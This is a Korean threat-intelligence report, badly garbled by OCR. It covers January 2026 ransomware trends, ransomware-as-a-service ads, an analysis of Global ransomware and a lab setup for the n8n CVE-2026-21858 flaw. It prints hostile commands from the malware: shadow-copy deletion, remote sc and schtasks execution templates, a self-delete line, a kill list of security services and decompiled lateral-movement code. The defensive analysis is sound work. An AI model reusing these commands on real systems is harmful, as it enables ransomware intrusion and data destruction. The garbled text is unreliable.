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FE EXI(E3) S22 o 4 Atk
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(1] =8¢&=l. (2025.12.22). "ASX|s tHEEH(AX), 280 MEsIZSLICH

https://www.fsc.go.kr/no010101/859087?srchCtgry=&curPage=&srchKey=&srchText=&srchBeginDt
=&srchEndDt=

[2] et=4MEFER. (202512.22). S8E20F AUSX|s 7H0|=2fel(2).
https://finai.kcredit.or.kr:1443/community/boardDetail.do

[3] et=AE8FER. (2026.01.14). 280k Al fI™2t2| 2|22 (Al RMF)(2H).
https://finai.kcredit.or.kr:1443/community/boardDetail.do

[4] =72, F7tE07|sAH T4, (2025.12.10). =7F337|2 AIEQH 710|EX.
https://aikorea.go.kr/web/board/brdDetail.do?menu_cd=000011&num=144

[5] M7 |aHESAR, SH=EAHAUTIZL.

Ho

(2025.12.10). ASX|S(Al) £t QHHA.

https://aikorea.go.kr/web/board/brdDetail.do?menu_cd=000011&num=143
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[6] CIXHEHSYELND, S=XSHEAR|TISH. (2025.0415). 3352 =AU Al =-&8 710|=E
2tel.

https://www.nia.or.kr/site/nia_kor/ex/bbs/View.do?cbldx=99852&bcldx=26677&parentSeq=2667
7

|
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[7] 2V |=™EEME, S=aTXISAATRR. (2026.01.22). 213X|s QAXM =tH Jt0|=2tel.
https://www.sw.or.kr/Al_act_helpdesk/board.jsp?bcldx=64993

[8] 2PV |a™MEEAR, SR HEMT|ERD. (2026.01.22). 1T QBX|s AIPAt MZ Jto|=2tQl.
https://www.sw.or.kr/Al_act_helpdesk/board.jsp?bcldx=64993

[9] TS |aMEEAMY MHEAMMMATL (2026.01.22). Q12X FELWIt Jto|=afol.
https://www.sw.or.kr/Al_act_helpdesk/board.jsp?bcldx=64993

[10] I |aHEEME, SIEREEEMTI|EHS]. (2026.01.26). 21S3Xs EEAM 2E Jto|=ztel.

1

https://www.msit.go.kr/bbs/view.do?sCode=user&mld=102&mPid=100&bbsSeqNo=81&nttSeqNo
=3148988

ot

[11] 2V |=HEEAME, S=2XsHEAR|TIZR. (2026.01.29). 1EE QEX|s TCH J10|=E2fQ1,
https://www.sw.or.kr/Al_act_helpdesk/board.jsp?bcldx=64993
[12] OECD.AL (2026.02.08). AIM: Al Incidents and Hazards Monitor [Graph].

https://oecd.ai/en/incidents?search_terms=%5B%5D&and_condition=false&from_date=2020-02-
08&to_date=2026-02-
08&properties_config=%7B%22principles%22:%5B%5D, %22industries %22:%5B%5D, % 22harm_ty
pes%22:%5B%5D,%22harm_levels%22:%5B%5D, %22harmed_entities%22:%5B%5D, % 22business_
functions%22:%5B%5D, %22ai_tasks%22:%5B%5D, %22autonomy_levels%22:%5B%5D, %22langua
ges%22:%5B%5D%7D&order_by=date&num_results=20
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Keep up with Ransomware

X|&XMOoZ 2|HaLE|= Global 2HAi¢)|0f
m iR

20264 13 A mBH AR == X 12 2(854 ) CHH| &% Zf4ot 850 2= FAIHILE.

2026 A 1 & 9 &, hEHX iz xH F StLtel BreachForums 2| AMEX} H|O|E{H|O|A T} {EXIC
James 2}= O|F29| dZXt= ShinyHunter 2| ALO|EO|| BreachForums Cl|O|E{H|O|AT} ZetEl Qf=
ordar ZEe| MARE AAMMCL MAROE= Hsf AAES BS= 7I8d 2HE MAERCE

HMABEZI1EEHEE JHQl MAteE BE HAl0 £F0| HHA ASH X7| HAH Mz

1 EHO| Che= Zolef
At 2= 2 2T} 2 =SS 2 L= BHRE HECHH ZS =2 F4Y
l»

ol =
L} 3 mYA

— - E
Aush ZHO| SMYCHs Me E2o| FWH AJ|Z NABID, O Hest DUAS wzsy| g
EREte X FEAUCL CHEE S MOIBS AN el B MAl 20 MU MARet AEE EH
QIFE T4 01, AIE ZZ0| o212 4SOl Ch EFE HOZ Holrt. 0fof nf2t Fio| Mziye

MetEed Ziol2ts oLt

otM, 2026 @ 1 ® ol £ CHE s ZZQ RAMP 7t & FAl7|t0l| oo HAE Ho=E 2QISHCE
RAMP = Ct3 g 3fid 23 SoM: HHH0] 2HH SEet ASA 2FE SSS S7fet 2oz ¢Efd
L4 Ol AO|EO|E= FBI 2f+= HiLZF EAIRD, BijL{oll= O] YRR A5t CCIPS' 2+ 0
HUAEEO| X7 HAIFHCE S 2HXIE LEqZl Stallman 2 $=At7|20| RAMP £ ZeflCh= F X[2
=2 XSS ZHO|| AAILCE. ofof, A X JHA AH=l2 gittn 2L

1 goll= = ol AR7F o2 2
X=eb HIZERX| AN S EFA

Qilin 28 %LH 38 5

Ol- F_._

SIQIFCE Qilin I82 1 & 15 ¥ 2L MZYHE SZHsH 2At LT
m FAsiH, O|E CHaY RZF AO|EO| AAIZICE £3H1 & 30 &
2 XISURIeH ME Clo|E7t SIH=IX| oot AX| EsH % Hlo|E

_?_
M
H
2
Rl

T CCIPS{Computer Crime and Intellectual Property Section): 0|2 HEE HAIZ ASIE

= A o o ey A
57 43 X2 58 Bl x4
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New ransomware & group

04PT[Bravox [ TheGreenslood] Vect] MonoLock]Fetchen [Datakeeper]Orion

New ransomware variant (orgin/variant)

m.lab .decrypt [NELIEEINIEE .happy11 .icanfix .purple

a7 2.20264 18 WS} S B

Mz

213

Ho

2026 d 1 Holl= Al N OF 8 7H7F SERMUCE 0] & O0APT, BravoX, TheGreenBlood, Vect,
Fletchen, DataKeeper, Orion 2 CI3¥ RE AO|EE ERStL JOLt o Vect 2| Ct3Y |E
AIO|E= H[ZMSHEl MEE SQIEICH

BravoX Team

No attacks against CIS countries — our roots do not burn where we grew up.

Promises are unbreakable — if a word is given, it will be kept.

Every target receives proof — we do not trade in air.

We provide a chance to recover — after payment everything is returned.

Negotiations are in total shadow — not a word outside, not a single byte to the net.

Honesty inside — armor outside — we are transparent with each other and known for our reputation.
No violence — no threats, no blood. Our tool is information.

We do not play politics — elections, nations, religions are beyond our hands.

Personal gain is out of bounds — no one enriches themselves around the team.

Exit is possible — those who wish to leave the shadow depart in peace. Anonymously. Forever.

Want to join our team?

12! 3,BravoX 15°| Raas? TEZ

2 Raa$S (Ransomware-as-a-Service): MY OIS MH|A SHEHZ HMIHA] FTLF 21H| HHYOE MHED ZATE 4 QEESH= H|XL|IADH
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2026 @ 1 Eof| SE¢t BravoX 2E2 HMIIX| & 3 219| L3HXIE AHAIYCt. O|S2 RaaS AEAt 2F

20M CIs® =7tE 32 oM FMeleittn 8s|= oHH, EE HAE FYS ERstn 34

ol AZAE 2Rt BZRUCE ot A@AF 7t =72 A DiE 500 2 FHE{ (et oF

0|4 7| S thee2 [ETH 0|37 HIO|E H|ZE, Exploit* EZ0f| 5000 2{(etet oF 729 o) H33
C

olX], 7I1Z A E= 71E BH =M S 37H] =A T & 17HXE S5 AS HAR

HI

About

Login

Register This page about program was named "Data Keeper". This program cryptes data when it
launched on MS Windows operations systems.

Features

1. Free for download and use: distributed as RaaS (Ransom as a Service).
2. Used CrystalPartnership technology.
3. Custemizable victim's payment amount in BTC.
4. Each executable file will be created with unique compilation's token and unique RSA-4096 key
pair.
5. Sample decryption service for each victim: 3 files less than 1MB will be decrypted.
6. Possibility of attaching your file to output executable.
7. Protected & cbfuscated source code and compiled modules.
8. Without using command server: only TOR hidden service link generated when data encrypted.
9. High performance: encrypting random first 400-1200 MB for large files.
10. Main module sleeps in memory 3-60 seconds before starts.
11. Multithread encrypting.
12. Optional: running with administrative rights. If it happened then restore system peints will be
removed.
13. Optional: encrypt all network shared resources in all subnet's computers.
14. Optional: executing itself on remote computers with stored and customized credentials.
15. Additional: Mutant Generator - client tool for hiding from antiviruses.

32! 4. DataKeeper 1§2| RaaS &2

2026 9 1 & MS =Ql=l DataKeeper 1F2 RaaS AHEA 2Z 20N 7|Ent XPESHE 2 HAt

AABIS UMD UCE YHHEEQl RaaS FAb ZE= ISRt XIE20| 2FX X[Hde=2 RYE H

R ABA RE AFE HiESH= A0 Bop ™A X|HO|Lt OX|Z & EX7t Ll & QUCh gt

DataKeeper = I[sixt X[Z CHAIOA 22Xt ASA X[HCE £2)0| X5 2LEO HiR2E =
2

TZE B ASATE 2G| FHat BXtof| ol ESHA| = 2 ZEES ZZIC

3 CIS(Commonwealth of Independent States): 7t AHH ZIIES FAloz PAE XH HolH|

Ay

“ Exploit: 2{Al0F ¢l ZHOZ, Fofy Y £7| AT HZ Aot SO0| A== 2

1
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K|t 2025 A 11 & Oracle E-Business Suite 2| #2F&(CVE-2025-61882)2 284l 2025 H 11 &
97 7ol IsHXtE Ct3AY |KZE AO|E0| 37H5HH 250 23T Clop IE2 2026 A 1 & 91 72
O|SHXIE YMAIZALCE Qilin TS ZE = HZ B2 IsH AIHIE 7|SRULCE.

fjo

2 ST A= ozl 2 |E AO|EO| °F 90 219 msiXt =S AlAIC.

===

1 A =
CHeb Cheol ob=2 ME MAO|L) Holl &7 glol SEXL, Y4 oid 7lsto] X[ =0 H|o[&{7t

[= 2]

SR gd= S T3 FHO| Chiet AE 47t =l=|X| FUATH £ HRZ EXoIX] = 7IYE

LS

Akira 382 2026 A 1€ sl 76 7S LMAF|H, 1 & 7|F Wl HWZ S T AlHIE 7|83 Ao =
2IOISHCE. Akira 282 1€ 29 & 0= OAHE 7|Y Crosslists Data & 323l 22 JHQIHEL} AN
SO| ZSE of 21GB #29| HIo|EE 2ot F, O|E CI2Y *= AIO|Eo| SIHSHC D HEIZICE
Sinobi 282 2026 '@ 1 & 27 ¥ 0|=29| H|H2| 7|2t Affordable Housing Management Overview
28l M2 HloE{t 1 Me So| ZEtEl oF 50GB 27|9| HIO|EE EFst F| 500 o
73
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e o &H)E 7ML}
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GLOBAL - RaaS 2025

Welcome to G \L, the next-gene tform. After months of development, we are proud to introduce a robust, efficient, and highly customizable

solution designed to redefine the Raas land e
Well-known
member . . 5 :
We are now open for collaboration with rienced partners worldwide.

Partnership Model
Default Revenue Sh r fav ject to n tigtion).

Direct-to-Wallet Payment aym gc directly to your wallet. You forward our share afterward.
Mo upfront fees or deposits equned (currently)

### LOCKERS

HEHHE v

Language: C++

Buil e: ~
Propagation Features:

ines via services.

- more efficient and stable.

2l 6. Global iM%l OE2| RaasS EEZ

Global #Meoj= 2025 A 6 2ol SHMCL Mamona M0 IEQ| 2EUYCE FHE= FHO|
ZXCE Global 2 7|§ Mamona M0t DR FASHH, Hlw 24 Zip LR 7|50 FItE
HHMOZ =toIgCt S Global 2 HML-EOl= Mamona 182 2FXJt #ofst £ CIE ZZHER

ot7 x| BlackLock 29| CIAgl @F AJO|E =AJ} EEHE|of QUQICH

orge| 2gzrlo=z ATl “$$$"= Aot siZ! T RAMP oA T2} ZH AA|E29| E7|E “Global
BlackLock"QZ HZAMOM, 2025 A 6 &€ L= Global RaaS £ TEst= AAIES F7t2 AAIKLCE
olz{at H&2 & ZZHE 7F HAIE SILHASICE,

LSt Global o %Al MZ 2HMLEO| Aware 129 Al =

= 7b ZetE "gs 12{stH, Global Of
Aware 2 %7} 2|22HY S JISHE HIEICh o2i3t Heg 53

=2 5% Mamona - Global » Aware 2
O|0X|= SE2 &Rl eHAEOZ 2 £ UCL 00 2 EIAN= o2 a0 ciHg &~ JEE OF
2t A M2 Fetotn, Global HAMLI0Q] AN M ZAUE S RSIX} SiCL
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Global Ransomware

-

gest s

-

oFa 5] HEAI
2o} Ui N

dn
ox

Curve25519 Y¥N2|ZO2 A3} 7|8 W30 HC-128 Y220
HC-128 o
ﬁ L]
File Encrypted
File

Curve25519 suasi2  Encryption
Shared Secret Key

Curve25519

Global
Public Key

* TS} UbAL 1,
1MB 0|5} M3 &3}
1MB &3} 5MB 0|3}: mj!e] M 1MB &35}

5MB 23} M| X FFE M MY 37]2] N% UF ==HZ|CH 70MB)

* b U 2,
64Bytes 0|3}: M3 A= 35}

64Bytes 23} SMB Of3f: T}le] X S5E| M3 27]2| 10%2+3 A&}

5MB =7} 20MB 0|5} T+ 37|29 1/6 Ojct & 4KB A& 3}
20MB 23}: 10MB OICh 2 4KB 2&3}

53 HEQ|a =S =C
$Eoos || Wy mAE A |usya un| ISR SR &
o
5= H}E}S}DI & ofO|2
HC-128 &t& 3t ZagAa za =4 - ofo|2
—_—o
E  READMEgzEQina x i
my HE 27 Hiv =v B T & B~ 4

Your network has been breached. Data has been encrypted and stolen.
All systems reachable within your environment - servers, workstations, virtual machines, and network attached stora
Encryption was performed using secure cryptographic methods. Restoration without our assistance is not passible.
Attempls Lo recover data independently or with third-party tools may result in permanent data loss.
--- RESOLUTION --—-
We can provide:
A decryption tool
- Clear recovery instructions
- Report of how the attack was performed
- Deletion of stolen data
- No further attacks on your company
This offer is time limited.
- VERIFICATION -—
Upon request, we will decrypt a few non-critical files to

demonstiate our capability.

—- NON-COMPLIANCE -

W 3 [
A2 otof [

README.gzEQi.txt

.gzEQi

C/C+H+

12l 7. Global 2HM¢o] 712
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T1059 T1053

T1569

l T1135 T1083

T1069 T1016

T1622 T1562

' T1070

AP
Movement

il
) Windows & TETEE 23 g Als
Execution
Y AAISE U MHA SE2 28 A
MITRE
HEHI 2§ B0 W BE S0 Fol  ATEK
Discovery
SAEO YEYI ¥E U IEWE ol
A
ol
C =
Defense A =2l
. Windows Denfender H|Z/d3s}
Evasion
Windows O|HIE 2 Akx| 8! X}7} Abx|
MITRE
QY EAME ALF| ATT&CK
Impact
glojgf Y53}
ot
Lateral

[ T1021

ek

l T1486 T1490
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Global I01 Mamona #H¥0{et SSHA Crdet &3 QXIS A3l A=t SEE TS

Holg = JAEE HAE[N JAoH, A8E[= QIXIe 7|52 otz Eeb ZTt.
U} 49
-log 21 =9
-keep X7t AP H|g-d=t
-skip-net 2 C[A30 Az}
-skip-local HER 3Dt A5t
-code {32bytes key} Mo Ao Heot HEHS
-sub {subnet} HIERZ ef=s} oy HIERZ Y
-p {password} HEY3 239! H|UHS
-u {username} HERZ 2121 0|8
-time {HH:MM} Xt AR Ch7| = A
-delay {ss} X st AZtSe ti7| = Ad
-threads {int} Lo} AfE 4+~ HH
-path {path} Ed 24 ¢zt
-host {ip_addr} E™ SAE AT}
-ldap HEH= ®Mot &53}
-detached o] THAH M}
H 1. #igello] MHlxt
Global #&{0{e] QIXk= Mamona &0 CHEE SSICH XHO[FO| AUCHH Mamona HEO|AM=

HERZ ASS fIohA NTLM® SHAIE TEEY of AMESHE -H QX7 Global HA/UNOIME AHISAC,
ot HESRIR HOt 2detE 22k -Idap 20Xt HIEXZ Hof tidE X[Fst7| #Igh -host 21X, TIHAA
=c| 7152 Hlgd=tsts| flgt -detached QUXR7F &7H| F=7HEHCEH

Global M= A3 Al S5 HAS LX[EH7] sH Global\Fxo16jmdgujs437 ZAIES AHEsH
SEIA 6 2 MM} siet JEIA 2XIHES Mamona A7t SEHIAZ MAMSH o ARSH= 22X}
SsiCt,

0% Global #ARAOlE Mamona ARAolet SUTH Aoz =7 wxjet 2N WHE 9 LB

7180|Lt 2XE AHSC FX|S0| A= HIOIEIE 2F MASHH, A|A”S RE OHIE 25 AK[SHCL

SNTLM: EHot Q15 Z2EE & SiLtZ, 2152 ol A 2= chdl sHAIE HEsl dot 2o 3L 2152 MS3= 75
6 FEIA(Mutex): StLtel R0l of2] AZE 52 T2HATL SAM B2SHK] RSIESE Ste 5713 AHLIZS2E, HMoub:= 23 55 4

UXIE Pl AL
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AMEXZL ol2 SHSHA] RoteF T ZEZE FTIHOE N WY SA=ES

2
— =22
e FAES AHSH| fI8H AHEdh= F™-O= Of2et ZT.

cmd.exe /c vssadmin delete shadows /all /quiet

Ol ot oY AolE Pl EF MH|AL Z2NAE FEI) Olnff H= L2 Mamona HT
CHH| B2 o] FoMRen, dMl S82 of2ff ®ob ZCt

MH|A TEZNA

WinDefend, SecurityHealthService, wscsvc, Sense,
WdNisSvc, WdNisDrv, WdFilter, WdBoot, wdnisdry,
wdfilter, wdboot, mpssvc, mpsdrv, BFE, MsMpSvc,

MsMpEng.exe, NisSrv.exe,
SecurityHealthService.exe, smartscreen.exe,
SecHealthUl.exe, MpCmdRun.exe, MSASCui.exe,

SepMasterService, wscsvc, SgrmBroker,
MpUXSrv.exe, SgrmBroker.exe, MsSense.exe,

SgrmAgent, EventLog,
SepMasterService, MBAMService, MSSQLSERVER,
SQLSERVERAGENT, SQLBrowser,
MSSQL$SQLEXPRESS, SQLAgent$SQLEXPRESS,
OracleServiceXE, OracleXETNSListener,
OracleJobSchedulerXE, MySQL, MySQL80,
PostgreSQL

SenselR.exe, SenseCE.exe,
SenseSampleUploader.exe, SenseNdr.exe,
SenseCncProxy.exe, sqlservr.exe, sqlbrowser.exe,
oracle.exe, tnslsnr.exe, mysqld.exe, postgres.exe,
pg_ctl.exe, mongodb.exe, mongod.exe

H2 Z= & MHA 3 TEMA

Y=ot A™2 A QIxtol w2l FREICL -skip-local 2 AIESHH HEQIZ 37 ECTH =36,
skip-net 2 AEoH 2Z C|A3T Aotoltf, ot -path AXIE A[YSHH EF CAEEZ[Q O 519
=]

—
SBICH QlS3 CHAlS MA

CIEEZ|2 o2 AotE Aol g2 282t FHols Z CEEEIE =2IotEA, oo
ole| g=0l| sHEsh=xl {FE 2fQIStCt. Global HE2 O] 2t S=01 .bin 0] F7tE AS H|e[otH
st A4S =3 2+

Windows, Program Files, Program Files (x86),
AppData, ProgramData, All Users, NETLOGON, PrintMe22.pdf, .exe, .dll, .msi, .sys, .ini, .ink, .bin
SYSVOL

& 3. =3t o2 cHd

Global #Mdflols =22 A|ARED oiL2t HERIA SE=L HObEL) iy 7152 -ldap AXE
X|IFsHoF &M=, -host 2 MO} CHAS EX SAEEZ HeHStALE -sub 2 EF MEU Y THE

e 4 Qc,

Jiot
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Global #d9o{= LDAP’ £ &8¢l TmSHs WA AL =
id@domain HEHQ! AR, siE EXIF0AM THQl HHE FH3 AMESIH FE MEE 7|HICE AD® 0f
HEE ZE AAH FHE SHTICL 0|2 Iﬁ.:. | CHeH -u QUXte| AH[Hat -
7ts GRE =olstu, 2150| d3eh A|AR| HHYE HMutetct,
M Mamona M= HIOt ™A IPCS® E Edll HERKZ HES AT ._Ef ol -u, -H, -p
= Soff 22t 23921 ofo|r|, 2IBE NTLM BiA|, 239! HUHSE ¢
e2te AA| NTLM SHA| 7|8k QIZ2 AlSHR| b=Ct CHAl -
o

| 7tset 39 Exo YA Hoh glo] sy HIEXZ 37 A W DES Aoittes Aoz

s
M

o o 2 re rE
B o
(@] |'||I

i
rot
n

sprintf s @(Name, @x104u, L"\\\\%s\\admin$", WideCharstr);
GetModuleFileNamelW (@, Filename, @x184u);
sprintf s @(NewFileName, @x104u, L"%s\\Temp\\cleanup.exe", Name);
NetResource.dwType = 1;
NetResource decope = 0;
memset(&NetResource.dwDisplayType, @, 12);
NetResource. 1pComment = 0;
NetResource.lpProvider = 8;
NetResource. lpRemoteName = lName;
if ( byte_4390C4 )

_printf _p("[+] Connecting to share: %ws\n", Name);
v6 = WNetAddConnection2W(&NetResource, lpPassword, lpUserillame, @);
if ( vo
{

if ( byte_43908C4 )

_printf p("[!] Failed to connect to share: %ws (Error: %d)\n", Name, vo);

return @;

—-—

a2 9. Mo Mot 5 A

7 LDAP: HEQ3A AolM AFRXE OE, ZHH|, 915 ME 59| HI0[HE XMEStD X3| 7t58iH| 3t Z2EZ
8 AD (Active Directory): LDAP 7[99 Windows S& ClHEZ| A|AROZE AIZXIet HEEE YZHORZ | It

°IPCS$: LIEIE Sall CHE HFE0| Mo & o, 252 +8sH| 2l Mo 3¢ EH
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HAE AARIS] AA| CIHER|0| HEYAHE cleanup.exe TMIUTOE ALt §|, MH|A S8 E= ZY
27|E2 S8 SAoz HHMOITt Iot S HERZ oA Topot gie AlZElE s 27| fld #4
DAENME A Al -skip-net QIXHE FItoiCt, 2t Al FH2 of2f Eet ZTH.

217 SAE MHIA MM

sc \\{host_ip} create Radio_[0-9]{32} binPath= "%%windir% %\Temp\\cleanup.exe -skip-net" start=
demand

ae) AslE2 At M

schtasks /create /s {host_ip} /u {username} /p {password} /tn "CoolTask" /tr
"% %windir%%\Temp\cleanup.exe -skip-net" /sc once /st 00:00

MH|A e

sc \\{host_ip} start Radio_[0-9]{32}

ae) AdER A MY

schtasks /run /s {host_ip} /u {username} /p {password} /tn

ael AslEE a2 At

schtasks /delete /s {host_ip} /u {username} /p {password} /tn

User Global

Curve-25519 " X Curve-25519
urve Public key B Public key E —ETE————
Y

Private Key A

Ve |
Curve-25519 | Curve-25519
|
Encyption ‘ SHAS512 [ Shared secret Shared secret | SHAS12 | Encyption ‘
8 key | C F Tl key a
HC-128 HC-128

Global #y%0l= M ASHE QU6 MHADICH IRt JHRI7|(A)E WSt Ol SIERYE AKX
S7071(B)2t Curve-25519 Aits sl =R HIZ(C)S =L o EF HIRO[Z Curve25519
u} b4

=) = ,
LNE|F0AM FEO0| ZXIe| JHel7|t Mo SIH7|RteE SUSHA| AlLtl= 242 ololetT}

—_

—_—
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& OBRtel JHelZ|(A)Rt SAHXCl SMFI(B)Z  AlMet A(C)2, SAXS Jiel7|(D)et  mBHAte|
SH7IE)Z ALreE gh(F)ot S, 0 S U(C, F)IE2 SF HIZOol2fn it ojuf HdE S+
<]

[
HIZ2 B2 AFEE|X| 883 SHA-512 212 HAIE dd = FlOIMSE] 32 HIO|ES 7|2 0|83

i
|0
Hu

o
HC-128 €12|Eez WY Asts it P=obyt phzEH Ol Zo| msHXiel 37H7|(E)E

et 7HRI7I(D)E ol8d S7 HIZS CHAl Altte = UACH,

my
ro
oz
1=
o
HU
o
>
(i
i)
0o
=Io=|-
H
0=
N
i
0= r
0ox —
oot
o
HU
=
o
on N
H
o
o
it
ot
ot
ot
4>
30
in]

N% Encryption

1MB Encryption

(Maximum 70MB)

Full Encryption

Normal D
ormal Data Normal Data

{size} < TMB 1MB { {size} < 5MB 5MB < {size}

oY A3t WA2 Mamona ARt SUSHA F 7HX| =3t REE PRECHL A OHmy w2
3717t 2 oo 22 ARE ART AdToish= WAOCH IMB O[ste] MU HMA| A=elE TIEHsHH,
5MB Olste| mA2 XS 1MB 2HE0H etssisict, SMB HCt 2 mie ZAXI X|Hst H|S0HE oHl9
XN HES ASsIsH=n| 1 37|7} At 70MB 2 F8t=|o] QUCH.

EQST insight | 30



Full Encryption

10% of the total size

Normal Data

L
1 n
. 4KB Encryption :

Normal Data

L
| .
. 4KB Encryption :

Noi

H  4KBEnayption |
Normal Data :

L
______________ =

H  4KB Encryption !
1
1

Normal Data

4KB Encryption

Normal Data

-
I—
-

I—

11

{size} < 64KB

11/6 of the total size

OMB chunk

64KB < {size} < 5MB

oF
=]

5MB < {size} < 20MB

tot

=3 B4 (2)

20MB < {size}

YAI0|Ct. 64Bytes O[ste| mU2 TA| H=otE SHH,

2folgitt. 20MB Ofstel mE2 TA| A7|9 1/6 UF

20MB HrCt 2 mMA2 10MB Ot X2 4KB £
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!''! YOUR NETWORK HAS BEEN COMPROMISED BY GLOBAL GROUP !!!

All important files are now inaccessible.

»>>> WHAT HAPPENED? <<<

roject.org/)
ed link

4. Follow instruct

You may submit one small file

»»» FAILURE TO ENGAGE WITHIN 7 DAYS RESULTS IN: <<<

I 2tZ2E|H ML oj= Al A|Hof| Global Z4¥ 277t A%l HIENSHH O|0|X|E AMAstn
Sk o|O|X|2 HADICE Oo|uf HIEISHHO|= Global 2HAMS
SEEICE, J2qLf ML Eo| ZEtEl 213= Global O] OF:l Aware
2

E —
|IEZ AZE= A2z 2RIEH, Ol & OF 7t 2[EMY E= Ny 7IsdS AlAfelit)

[
-

Im rg
I mo

=
I

[U ox om mo
Lot

o
Y]
>
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SE oY gzet 2 Flols fPAHE AME2Z ARSCt olm AL8El= FF0E Oof2fiet ZLt.

20| Xp7H AR Hof

cmd.exe /C ping 127.0.0.7 -n 3 > Nul & Del /f /g \"%s\
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o] CHSLet

MITRE

. T1106 T1569
Execution asr 7% 24312 £3 oty 39| Aot

MITRE
. T1083 T1082
DISCOVGI'y ;B 7| BHX] &5 AES ST A4d el KT l

T1135

MITRE

ATT&CK I
Defense ..o xs o se no T1562.001 T1222

EAM=
T2 =

Evasion
|

Cllojef WY T1489

ANSE
Impact ASR 'FIL:—:I %’* EI'E %on_ cll‘Ag %'?‘I IH:_I' T1486 T1490

MITRE

27 MH|A 0| 7Hs AW XF ATT&CK
Lateral Sas o olm 2o [ T1021

Movement

Global #&ol= o

ofwst U UEYS FI HOIN HEND B o, =olol He 5 i
AAY, YED HEE @ x

3 S
STk Waty #el 7|ut S2MS MBH B ok WIS Zyof
1

IABEALE HIgdetsto] HIESR

ST HEQZ MHIAE

= | ¢lsil 23921 ID o HIEHSE 0|8d #H Al2"H HIS
AlEgich EE9| D, HIEHS 3 Aels =ARURK| ALY, 2 FH| AN AE EE +TSHAL
7E AT E= 7ot AEE AEE 7H5d0| ULk Of={gh = 2FA E HEWl 1SS ZefloF ot
H=0 #F AfH|A AgE xasfotn, =R B Mb|A= HIEgER6H SHXL HESS

10 2FA (2-factor Authentication): ID/PW Q1 2|0 FLHFSHLt OTP S &Rt I} 215 4LOZ 2IFsH= HiA
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ofet g7l =7| HF Sl HIEY HRAE &S| ME, XS] 2loi EDR =iah A4 2o miX] HEO|
ZRoltt. ol=3] MY SAE2 B WESRID F#0IL 2f XM, 2uatel iy F7(FHe=z Zit

wlStof AIAEI0| USBIEICIRtT GlOJE| 7ot JHSSHEE CHH[SHOF BITh Olmf el Ex M S
A4t HoIHQl 27 HAES ue uel tolelo] SANS X4XOR ABHoF BTk,

QM TP ol Hels ZZ Windows T DEDE sjub M mol AjEE 52, MHlA 52
WAOR AWEICE WERA ASRT TAIS IS HIRA DRNAS ACISIOR of WIS oot 4
QUTk I Mot YA Bojo| ZRIUS MIPALL K S22 P S¥ FEE WIS
=Rt S40| YODR WAIS B oY MAS Hzlets ST THssitt

" ASR (Attack Surface Reduction): 2&XI7} AL3H= EXN T2 M|AQL AW JHsst TRMAE Klchte HS J|s
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loCs

Hash(SHA-256)

f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f

B &1 APIE

+ Resecurity (https://www.resecurity.com/blog/article/doomsday-for-cybercriminals-data-breach-of-
major-dark-web-foru)

« The Record (https://therecord.media/notorious-russia-based-ra

Ct.
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Research & Technique

EEEESsS———————
n8n 29| m 2{7| F2}H(CVE-2026-21858)

H ME
20261 18 72, LE2A YIFZERT XS FAE n8n oM, 2T 2F0 2t 1 Z= Aoz
O|0iE £ A= Ao mY 47| F2FH(CVE-2026-21858)0| -'-7HE|°*Ef SiE FfEE ‘NiBmare'2t=

HEOCE AHXOM, n8n 2| Webhook(ZE=)2 U Form(Z)® 2H ANz2| zidolM ¥ H|o[E{of cHgt
AE0| EE29| O[FXIX| 42 ClM Hhdstot,

[

n8n 2 C2f1 o CF WACR YABRSE THY 4 o, Mm SAHO| JHssitts ol Hel
ALEXHRE] 719 2HEMEK] ZEA AEE[ ATt Hot HM ATl Ce nsys o #M A, 20264 28 7|E
H MAXS=Z °of 113,052CH2] n8n AARHATE 2stE|0] Iol, OF ot=2 o 9,266CH(8.22%)2 T
MIA 4919l =2 ME™E 7|=st AL

Host.location.country Count of Hosts Yo

United States 28,085 24.90%

Germany 17,928 15.90%

France 10,448 9.27%

South Korea 9,266 8.22%

Brazil 4656 413%

Singapore 4628 4NM%

India 3,949 3.50%

Netherlands 3164 2.81%

Finland 3121 277%

Vietnam 2794 2.48%

China 2,779 2.47%

a2l 1, 7P A2 (Censys, 2026.02.11)

TARNE E M 99BE9E NOE IME QN2 MaY, AMJ 2Z IYUs ¢Ec nus
29l =

°|3PE% g 2+ Uk O Z3 M W 23 oido] f3EEL Kz EPHOHH oEE LEH &
= ZE2 AL Bl HFO| Fofst Heof sigtst=x| Al&s| etelstn, ot

on £ Hgsi7ILt =71l

' 3EER: EF YFE XS] ol HAE LA HY 55

2 Webhook: 2E0|A AHHE EX H0|EIE AAZICZ HUEE EZ

XI™ oladst

3 Form: ARSAPZ} HIAEL Y S8 ZIF YUY £ A= HOE LY 4

mjo
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CVE-2026-21858 0Of| F[2fot AZEQ|0{= Ct3xt ZCt.

n8n 1.65.0 0|4 1121.0 Ot

& oo =

n8n ZAE QS

Ok
—
b

filepath?t Z&HEl ZXHEl JSON 85 ’.‘_1%\

vd

% e o = RE

S HEE 0|28l
a|x} ol B2 A

PIZEI ESOZ APIZE
(2222 44Y)

EELLPE

feccccacacacacncncncnanancasnass,
MME aEE A
(Execute Command Node) «
A2 FEo 4 N
TH L g
(RCE)
T T
dg 2, 33 MLiZ|e
® 3ZAX= Form TriggerY (& E2|AH) A=ZQIEO| iRt Mt ot HZE 7t2|7| =2 =t

JSON R#E T&ESIH LR OidS |RESTCL
S

® 3= Zxlet U DidoA DB FE % et 7|2 2[R JIWTE oot
Al

® SFXE Y4t IWTZ REST APl REE AE5I0] IE2Re} AlAH FE 4t =5 Y
getrt.

@ SF%= A2 B A 2o YN E 45t AIEZRE Aot

© Al2H FFO| D, SHX=E O 4 Z0E =elsitt

4 Form Trigger: n8n0| X|3dt= ¢l QIEIHO[AE S US HEET = U diF= Ils
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olg T |
[sH} ubuntu:22.04 & n8n 1.120.4
(172.17.0.2)
2243} Kali Linux
(17217.0.4)

Step 1. &3 74

Ojsixt PC ol n8n < HHHS Mx[sto] F|of eHAE FAMBICL CVE-2026-21858 F A4 HAE FHS
st =71 o|0|Xx| 8l FoFH E|AE mUL of2f EQSTLab GitHub Repository OflA] 2ol 4 QlC},

- URL: https://github.com/EQSTLab/CVE-2026-21858

Z2Z 2F0l|lM mSixt PC ot #|oF &ES P4ttt g BHOZ &7 O|0|X|E EEst 7 &ddslct

> git clone https://github.com/EQSTLab/CVE-2026-21858.git
> cd CVE-2026-21858
> docker build -t n8n-vuln:1.120.4 .

> run.bat

n8n A7t MMM IsiXt PC 2 http://localhost:9000/setup Ol HZ2sto] Zt2|xt AEHS MATICE.

® localhost:9000/setup B &

oo{3 n8n

Set up owner account

Email *

First Name *

